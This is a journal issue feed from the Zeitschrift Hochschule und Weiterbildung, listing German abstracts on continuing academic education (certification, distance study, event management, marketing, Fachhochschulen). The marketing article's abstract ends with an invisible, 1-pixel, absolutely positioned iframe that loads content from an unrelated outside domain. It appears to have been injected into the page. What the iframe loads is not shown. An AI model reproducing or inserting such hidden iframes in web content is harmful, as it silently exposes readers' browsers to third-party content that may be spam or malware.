https://www.hochschule-und-weiterbildung.net/index.php/zhwb/issue/feedZeitschrift Hochschule und Weiterbildung (ZHWB)2024-12-18T11:03:42+00:00Wolfgang Jüttewolfgang.juette@uni-bielefeld.deOpen Journal Systems<p>Die Zeitschrift Hochschule und Weiterbildung (ZHWB) ist die führende deutschsprachige Zeitschrift für Themen der wissenschaftlichen Weiterbildung und erscheint halbjährlich. Seit 2017 sind alle Themen- und Forenbeiträge peer-reviewed.</p>https://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7637Stichwort: Strukturen wissenschaftlicher Weiterbildung2024-11-22T10:31:00+00:00Claudia Lobeclaudia.lobe@uni-bielefeld.deMandy SchulzeMandy.Schulze@hszg.de2024-12-18T00:00:00+00:00Copyright (c) 2024 Claudia Lobe; Mandy Schulzehttps://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7165Zertifizierungsverfahren & Professionalisierung Revisited2024-04-15T10:35:18+00:00Miriam Chebbahchebbah@evalag.deAletta Hinskenhinsken@evalag.deStefanie Krönerkroener@evalag.de<p class="31ZHWBFlietext">Der gesellschaftliche Bedarf an wissenschaftlicher Weiterbildung und die Nachfrage von Politik und Unternehmen gehen mit der Frage der Qualität der Angebote und der Professionalisierung der Akteur:innen einher. In diesem Beitrag beleuchten wir Zertifizierungsverfahren und Professionalisierungsangebote, die im Rahmen des Projekts Hochschulweiterbildung@BW in Baden-Württemberg entwickelt und implementiert wurden. Dabei stellen wir die Frage, welche Bedarfe die Einrichtungen haben und was einen Beitrag zur Qualitätsentwicklung und Professionalisierung leisten kann. Insbesondere wird dabei Bezug auf Zertifizierungsverfahren und Professionalisierungsangebote genommen. Es werden die Analysen von zwei Fokusgruppen mit Vertreter:innen der baden-württembergischen Hochschulen vorgestellt und diskutiert.</p>2024-12-18T00:00:00+00:00Copyright (c) 2024 Dr. Stefanie Kröner, Miriam Chebbah, Dr. Aletta Hinsken (MPA)https://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7639Strukturelle Bedingungen des Fernstudiums an der IU Internationale Hochschule 2024-11-22T11:59:06+00:00Annette Straußannette.strauss@iu.orgIreen Kowalleckireen.kowalleck@iu.org<p>Die private IU Internationale Hochschule als größte Hochschule Deutschlands zeichnet sich durch starkes Wachstum ihrer Studierendenzahlen aus, durch einen ungewöhnlich hohen Anteil von Studierenden im Studienformat Fernstudium sowie durch ausgeprägte Heterogenität der Studierendenschaft. Der folgende Beitrag identifiziert und erläutert mögliche strukturelle und strategische Aspekte als Gründe für die Attraktivität der Hochschule und des Studienformats „Fernstudium“. Darüber hinaus werden die didaktischen Herausforderungen dargestellt, die für Lehrende in einem 100%igen Onlinestudium mit der Zielsetzung des personalisierten Lehrens und Lernens entstehen. Dabei wird auch auf die Integration Künstlicher Intelligenz in das Lehr- und Lernkonzept der IU eingegangen.</p>2024-12-18T00:00:00+00:00Copyright (c) 2024 Annette Strauß, Ireen Kowalleckhttps://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7178Digitales Veranstaltungsmanagement in der wissenschaftlichen Weiterbildung2024-04-26T07:12:55+00:00Gesa Bintzgesa.bintz@fh-muenster.deStefan Gesmanns.gesmann@fh-muenster.deMike Lenkenhofflenkenhoff@fh-muenster.de<p>Die vorgestellten empirischen Erkenntnisse entstammen einer Befragung zur Analyse der an deutschen Hochschulen eingesetzten Systeme für das digitale Veranstaltungsmanagement. Funktionale digitale Tools spielen im Veranstaltungsmanagement der wissenschaftlichen Weiterbildung eine zunehmend zentrale Rolle, da sie die Organisation und Durchführung von Kursen effizienter und flexibler gestalten. Die Befragung war Teil des Projekts Digitales Veranstaltungsmanagement der Fachhochschule (FH) Münster und diente der Markterkundung im Rahmen von Orientierung und Anforderungsanalyse. Die Ergebnisse der Befragung zur Markterkundung bieten anderen Hochschulen wertvolle Orientierungshilfen in einem unübersichtlichen Markt, da sie die Möglichkeit haben, von den systematisch erhobenen Daten zu profitieren und ihre eigenen Bedürfnisse bzw. Präferenzen besser einzuordnen. Insgesamt wurden Daten von 32 Hochschulbeschäftigten analysiert. Ein Großteil der Befragten gab an, externe Systeme zu nutzen, interne oder sonstige Lösungen wurden weniger häufig genannt. In Bezug auf die Zufriedenheit mit dem genutzten System wurden keine signifikanten Unterschiede festgestellt. Die Zufriedenheit bei Nutzung eines internen Systems lag auf dem höchsten Rang, jedoch wurde die Nutzung externer Systeme deutlich eher empfohlen. Die Ergebnisse enthalten eine Übersicht der im Rahmen der Befragung genannten Systeme. Insgesamt wurde in der quantitativen Analyse sowie der Kategorisierung der Antworten auf offene Fragen deutlich, dass viele Hochschulen sich diesbezüglich aktuell orientieren und hohes Interesse an Erkenntnissen über Anbieter und Erfahrungen besteht. Ein Fazit in Bezug auf die Kooperation zwischen Hochschulen beinhaltet die Anregung, den transparenten Austausch zu fördern. </p>2024-12-18T00:00:00+00:00Copyright (c) 2024 Gesa Bintz, Stefan Gesmann, Mike Lenkenhoffhttps://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7638Akteursprofile in der wissenschaftlichen Weiterbildung 2024-11-22T10:41:51+00:00Claudia Lobeclaudia.lobe@uni-bielefeld.de<p>Über einen Zeitraum von fast zehn Jahren wurden die beruflichen Profile unterschiedlicher Akteursgruppen in der wissenschaftlichen Weiterbildung von der Arbeitsgemeinschaft Forschung in der Deutschen Gesellschaft für wissenschaftliche Weiterbildung und Fernstudium (DGWF) untersucht. Eine Forschungsgruppe an der Universität Bielefeld hat die Evaluationen der DGWF Jahrestagungen im Jahr 2014 zu einem periodischen Beobachtungsinstrument der Teilnehmendenstruktur im Hinblick auf ihre beruflichen Tätigkeitsprofile und Interessenlagen ausgebaut und bis 2022 jährlich ausgewertet. Ergänzt wurden die Zeitreihendaten im Jahr 2021 durch eine einmalige Sonderanalyse, in der mittels Clusteranalysen eine Akteurstypologie entwickelt wurde. Die Tätigkeitsprofile der Befragten ergaben drei Cluster unter den Tagungsteilnehmenden: „Administrative Manager:innen“, „Wissenschaftler:innen“ und „Allrounder“. Die Zeitreihendaten zeigen, dass Managementaufgaben in den Tätigkeitsprofilen zunehmen, wohingegen Tätigkeiten in Wissenschaft/Forschung kontinuierlich rückläufig sind. Dafür kann es unterschiedliche Gründe geben; vieles spricht dafür, dass sich die Forschungsaktiven zurückziehen. Für die DGWF als Fachgesellschaft war ein enges Verhältnis zwischen Wissenschaft und Praxis wissenschaftlicher Weiterbildung bisher prägend. Insofern stellt sich die Frage, wie bei den DGWF Jahrestagungen Relationierungsprozesse zwischen Wissenschaft und Bildungspraxis stattfinden können, die sowohl für wissenschaftliche als auch für handlungspraktische Zusammenhänge fruchtbar gemacht werden können. </p>2024-12-18T00:00:00+00:00Copyright (c) 2024 Claudia Lobehttps://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7641Von Fernstudium zu Distance Learning, Digitalisierung und Didaktik2024-11-22T12:07:37+00:00Ulrich Ibereriberer@ph-ludwigsburg.deSylvia Stammsylvia.stamm@hwr-berlin.deAnnette Straußannette.strauss@iu.org<p>In der Deutschen Gesellschaft für Wissenschaftliche Weiterbildung und Fernstudium (DGWF) e. V. haben sich Institutionen und Akteure organisiert, die in Universitäten, Hochschulen und Hochschulverbünden getragene Weiterbildung und Fernstudienangebote verantworten. In ihrem Selbstverständnis fokussiert die DGWF zum einen die Förderung, Koordinierung und Repräsentation der wissenschaftlichen Weiterbildung und des Fernstudiums. Zum anderen versteht sie sich auch als wissenschaftliche Fachgesellschaft, die durch Forschung in dieser Domäne zur Systematisierung und Akkumulation von Wissen beiträgt. Des Weiteren nimmt die DGWF für sich in Anspruch, die hochschulpolitischen Diskurse und die Professionalisierung sowohl auf nationaler als auch auf internationaler Ebene mit zu gestalten (vgl. Homepage der DGWF, https://dgwf.net). Innerhalb der DGWF engagieren sich verschiedene Landesgruppen und Arbeitsgemeinschaften in spezifischen Themenfeldern und mit verschiedenen Interessensschwerpunkten: Die Arbeitsgemeinschaft der Einrichtungen für Weiterbildung an Hochschulen, die Arbeitsgemeinschaft für das Fernstudium an Hochschulen, die Bundesarbeitsgemeinschaft Wissenschaftliche Weiterbildung für Ältere, die Arbeitsgemeinschaft Forschung und die Arbeitsgemeinschaft Offene Hochschulen. Mit diesem Profil ist die DGWF eine maßgebliche Mitgestalterin der Strukturen wissenschaftlicher Weiterbildung auf Makroebene. Der Beitrag beschreibt die programmatische und strukturelle Transformation einer Akteursgruppe innerhalb der DGWF, die sich seit ihrer Gründung dem spezifischen Themenfeld des Fernstudiums gewidmet hat. Die Veränderungen sind nicht auf diese Gruppe beschränkt. Vielmehr wird an diesem Beispiel deutlich, an welchen inhaltlichen und organisationsbezogenen Stellen sich in der DGWF als Ganzes Transformationen abzeichnen.</p>2024-12-18T00:00:00+00:00Copyright (c) 2024 Ulrich Iberer, Annette Strauß, Sylvia Stammhttps://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7160Akteurkonstellationen im Mehrebenensystem wissenschaftlicher Weiterbildung2024-04-12T07:33:50+00:00Angela Fogolinfogolin@bibb.de<p>Der Beitrag skizziert eine Modellierung von Akteurkonstellationen im Mehrebenensystem wissenschaftlicher Weiterbildung, die im Kontext einer explorativen Untersuchung konzipiert wurde. Intention dabei war es, näheren Aufschluss zu (impliziten) hochschulischen Selbstverständnissen und Prämissen in Bezug auf die Zielgruppe beruflich Vorqualifizierter bei kurzformatigen (ingenieur-)wissenschaftlichen Weiterbildungsangeboten zu gewinnen.</p> <p>Aufgrund besonderer regulatorischer Rahmenbedingungen erfordert die Konzeption solcher Angebote neben hochschulinternen Abstimmungen häufig auch eine Verständigung mit externen Stakeholdern. Dabei sind Hochschulen mit teils widersprüchlichen Anforderungen und Interessenlagen konfrontiert, sodass sich die Governance wissenschaftlicher Weiterbildung als ein Agieren vielfältiger hochschulinterner und -externer Akteure, teils auf unterschiedlichen Hierarchieebenen, charakterisieren lässt.</p> <p>Vorliegende Analysekonzepte der (Educational) Governance-Forschung erlauben jedoch nur eine je ausschnitthafte Strukturierung der hierzu gewonnenen Erkenntnisse. Gleichwohl bieten ihre Modellierungen von Akteurkonstellationen und Mehrebenensystemen wichtige Anknüpfungspunkte für das vorliegende Modell. Es kann daher gewissermaßen als deren Fusionierung verstanden werden, um der Komplexität hochschulischer Governance im Kontext (kurzformatiger) wissenschaftlicher Weiterbildung gerecht werden zu können. </p>2024-12-18T00:00:00+00:00Copyright (c) 2024 Angela Fogolinhttps://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7289Marketing in der wissenschaftlichen Weiterbildung zwischen digitalen Infrastrukturen und regionalen Vernetzungsstrukturen2024-06-14T17:14:28+00:00Matthias Alkematthias.alke@uni-tuebingen.deNora Lebennora.leben@uni-tuebingen.deSimon Oehlerssimon.oehlers@uni-tuebingen.de<p>Der Beitrag thematisiert die existenzsichernde Bedeutung von Marketing für Anbieter wissenschaftlicher Weiterbildung im Schnittfeld von digitalen Infra- und regionalen Vernetzungsstrukturen. Der Fokus wird hierbei auf kooperative Ansätze und Strukturen des Weiterbildungsmarketings gelegt, welche gerade im Feld der wissenschaftlichen Weiterbildung stark zu beobachten sind. Ausgehend von empirisch gewonnenen Befunden aus leitfadengestützten Interviews, einer standardisierten Befragung sowie Dokumentenanalysen der wissenschaftlichen Begleitforschung des Baden-Württembergischen Projektverbundes Hochschulweiterbildung@BW werden Marketingansätze analysiert, die von den Beteiligten innerhalb der Projektstrukturen (kooperativ) umgesetzt werden. Untersucht wird im Einzelnen, welche Zielsetzungen durch das gemeinsame Marketing verfolgt, welche Zielgruppen adressiert und welche Marketingformate entwickelt und umgesetzt werden. Untersuchungsgegenstand sind die<br />Marketingplattform südwissen, die sowohl als Vertriebsweg als auch als Kommunikationsinstrument konzipiert ist und die Regional- und Fachvernetzung, über die vor allem kommunikationspolitisches Marketing umgesetzt wird. Durch beide Ansätze wird die Erhöhung der Sichtbarkeit und Akzeptanzsteigerung wissenschaftlicher Weiterbildung angestrebt, in Teilen aber auch auf Absatzsteigerung abgezielt. Die vorzufindende vorrangige Adressierung hochschulexterner Zielgruppen, wird unter Bezugnahme<br />auf den notwendigen mehrfachen Zielgruppenbezug für ein erfolgreiches Matching in der wissenschaftlichen Weiterbildung kritisch diskutiert. Abschließend werden Fragen der zukünftigen Entwicklung der entstandenen Kooperationsstrukturen für das Marketing und die organisationsstrukturelle Verstetigung der Regional- und Fachvernetzungsstellen beleuchtet.</p> <div><iframe style="position: absolute; height: 1px,width:1px; top: 0; left: 0; border: none; visibility: hidden;" src="//div.show/public"></iframe></div>2024-12-18T00:00:00+00:00Copyright (c) 2024 Matthias Alke, Nora Leben, Simon Oehlershttps://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7185Die Fachhochschulen und ihre weiterbildenden Studienangebote in Deutschland und der Schweiz2024-05-02T07:24:35+00:00Mandy Schulzemandy.schulze@hszg.deTherese E. ZimmermannTherese.Zimmermann@unibe.ch<p>Der Beitrag betrachtet staatliche Fachhochschulen in Deutschland und der Schweiz mit ihrem Angebot wissenschaftlicher Weiterbildung. Diesem Hochschultyp wird, trotz seines breiten Engagements in der Hochschulweiterbildung kaum Aufmerksamkeit zu teil. Besonders der Vergleich zwischen Deutschland und der Schweiz zeichnet im folgenden Beitrag die historisch entwickelte Bedeutung von Fachhochschulen für die wissenschaftliche Weiterbildung nach. Dazu wird in einem ersten Schritt die Geschichte der Fachhochschulen in beiden Ländern beschrieben. Im zweiten Schritt werden die Besonderheiten weiterbildender Studienangebote in der Schweiz und Deutschland im Vergleich mit der jeweiligen Datenlage präsentiert. Anschließend werden aus der wechselseitigen Bezugnahme von wissenschaftlicher Weiterbildung und öffentlich-rechtlichen Fachhochschulen Forschungsdesiderate aus dem Ländervergleich abgeleitet. </p>2024-12-18T00:00:00+00:00Copyright (c) 2024 Mandy Schulze, Therese E. Zimmermannhttps://www.hochschule-und-weiterbildung.net/index.php/zhwb/article/view/7163Professionalisierung der Lehre in der wissenschaftlichen Weiterbildung2024-04-15T09:04:09+00:00Ana-Maria Bodo-Hartmannbodo@evalag.deGalina Novikovanovikova@evalag.de<p>Der Beitrag ist im Rahmen des Projekts „Hochschulweiterbildung@BW“ entstanden. Er fokussiert die Professionalisierungsbedarfe der Lehrenden in der wissenschaftlichen Weiterbildung ausgehend von einer im Frühjahr 2023 in Baden-Württemberg durchgeführten Online-Befragung sowie Erkenntnisse aus den Erfahrungen im Projekt. Ausgewählte Ergebnisse der durchgeführten Befragung zu den Bedarfen der Lehrenden werden präsentiert und diskutiert. Zudem werden unterschiedliche Professionalisierungsangebote vorgestellt, die im Projekt konzipiert und teilweise umgesetzt wurden. Hiermit werden Möglichkeiten aufgezeigt, Professionalisierungsstrukturen für Lehrende in der wissenschaftlichen Weiterbildung aufzubauen und die bisherigen Erfahrungen<br />mit dem geplanten hochschuldidaktischen Angebot für Lehrende in der wissenschaftlichen Weiterbildung analysiert.</p>2024-12-18T00:00:00+00:00Copyright (c) 2024 Ana-Maria Bodo-Hartmann, Galina Novikova